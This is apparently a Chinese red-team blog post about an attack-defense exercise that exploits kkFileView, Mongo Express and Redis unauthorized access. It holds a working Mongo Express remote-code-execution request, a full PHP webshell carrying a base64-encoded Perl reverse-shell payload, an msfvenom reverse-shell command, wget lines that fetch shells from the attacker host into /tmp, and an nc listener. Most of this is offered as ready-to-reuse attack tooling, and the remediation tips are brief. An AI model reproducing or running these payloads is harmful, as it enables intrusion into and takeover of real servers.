记一次攻防演练redis未授权访问案例

📅 发布时间:2026/7/17 7:31:38 👁️ 浏览次数:
记一次攻防演练redis未授权访问案例
0x1 攻防演练案例一kkFileView漏洞简介kkFileView为文件文档在线预览解决方案该项目使用流行的spring boot搭建易上手和部署基本支持主流办公文档的在线预览。近期网宿安全演武实验室监测到kkFileView存在远程代码执行漏洞网宿评分危急CVSS3.1评分9.8远程攻击者无需身份认证即可利用该漏洞覆盖任意⽂件再调用被覆盖的文件实现远程代码执行。目前该漏洞POC状态及EXP状态已在互联网公开建议客户尽快做好自查及防护。kkFileView漏洞实操通过对上面的IP和域名进行url探测发现了kkFileView框架这个漏洞我之前挖src的时候遇到过所以我也是拿去直接访问这个IP然后看看kkFileView相关的nday漏洞能不能利用很开心直接访问成功了是个200页面里面的功能看着满齐全的看着怪老的感觉是可以打一波nday的然后再使用Wappalyzer插件看看这个站点的开发语言和框架等信息这个资产打的很轻松直接使用网上的POC以及一些漏洞的复现进行测试发现可以任意文件读取、XSS漏洞以及文件上传和文件包含打一波组合拳等等我就不一一演示了0x2 攻防演练案例二Mongo Express简介Mongo-express是MongoDB的数据库管理工具类似Navicat对应Mysql的关系其使用Node.jsExpress和Bootstrap3编写的基于Web的MongoDB图形化管理界面。漏洞问题出在lib/bson.js中的toBSON()函数中路由 /checkValid 从外部接收输入并调用了存在 RCE 漏洞的代码由此存在被攻击的风险。mongo-express是一款mongodb的第三方Web界面使用node和express开发。如果攻击者可以成功登录或者目标服务器没有修改默认的账号密码admin:pass则可以执行任意node.js代码。Mongo Express漏洞实操还是拿无影来看这个url探测的内容然后看到了Mongo Express这是MongoDB的一个历史框架漏洞这里一般Mongo Express这个框架的web管理页面的默认登录账户密码是admin:pass,但是这个IP访问直接免密码登录直接未授权进去了然后里面有很多的文件都可以导出来这里直接从后台泄露的文件里面找到MongoDB的数据库账户密码还有这个站点的所以登录操作的日志记录都可以下载下来使用wappalyzer插件进行查看发现是Express的web框架以及使用Node.js语言编写的则可以执行任意node.js代码。下面是我从微信公众号找到的专门针对于Mongo Express漏洞框架的POC可以实现远程命令执行POST /checkValid HTTP/1.1 Host: 目标资产的IP:端口 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw Content-Type: application/x-www-form-urlencoded Content-Length: 134 documentthis.constructor.constructor(return process)().mainModule.require(child_process).execSync(ping 3apk66.dnslog.cn )可以看到我们的bp数据包这里显示执行成功了那么我们再看看我们的dnslog有没有成功回显可以看到我们这里的dnslog成功回显了这里成功可以远程命令执行拿root权限我这里先使用kali进行测试看看能不能ping通目标IP发现可以ping通目标IP那么我这里当时想的就是既然可以进行执行远程代码那么是不是可以执行反弹shell操作呢这里给师傅们分享一个我平常经常在打攻防使用的一个webshell木马?php function which($pr) { $path execute(which $pr); return ($path ? $path : $pr); } function execute($cfe) { $res ; if ($cfe) { if(function_exists(exec)) { exec($cfe,$res); $res join(\n,$res); } elseif(function_exists(shell_exec)) { $res shell_exec($cfe); } elseif(function_exists(system)) { ob_start(); system($cfe); $res ob_get_contents(); ob_end_clean(); } elseif(function_exists(passthru)) { ob_start(); passthru($cfe); $res ob_get_contents(); ob_end_clean(); } elseif(is_resource($f popen($cfe,r))) { $res ; while(!feof($f)) { $res . fread($f,1024); } pclose($f); } } return $res; } function cf($fname,$text){ if($fpfopen($fname,w)) { fputs($fp,base64_decode($text)); fclose($fp); } } $yourip kali的IP; $yourport kali的监听端口; $usedb array(perlperl,cc); $back_connectIyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw; cf(/tmp/.bc,$back_connect); $res execute(which(perl). /tmp/.bc $yourip $yourport ); ?只需要修改下面的这两个地方即可使用修改起来都很方便因为不知道上面的目标站点会不会解析php木马所以我这里再使用kali的msfvenom命令生成py脚本执行msfvenom -p cmd/unix/reverse_python LHOST10.10.10.128 LPORT4444 -f raw webshell.py先在本地利用python开启一个http服务然后再使用刚才bp抓包的bp数据包进行修改修改里面的命令执行的代码然后下载到目标的/tmp目录下python3 -m http.server 81然后再使用bp下载两个webshell的脚本文件一个php文件和一个py的脚本执行文件wget http://10.10.10.128:81/webshell.py -O /tmp/shell wget http://10.10.10.128:81/webshell.php -O /tmp/shellkali上监听4444端口nc -lvvp 4444这里测试发现webshell.py脚本可以成功反弹shell并且成功拿到了改目标资产站点的root权限这个站点之间打穿了documentthis.constructor.constructor(return process)().mainModule.require(child_process).execSync(bash /tmp/shell)修复建议1.及时升级漏洞组件2.不要使MongoExpres服务暴露在公网上3.修改默认登录密码admin:passredis未授权访问上面的这个站点存在Mongo Express未授权登录漏洞那么下面我这里猜测可能还会存在别的未授权所以这里通过测试发现这里这个站点还存在6379redis未授权访问漏洞这里尝试使用nc连接6379端口的redis服务看看能不能免密钥登录直接未授权访问师傅们可以看到确实存在redis未授权访问漏洞直接info可以看到里面的很多主机的信息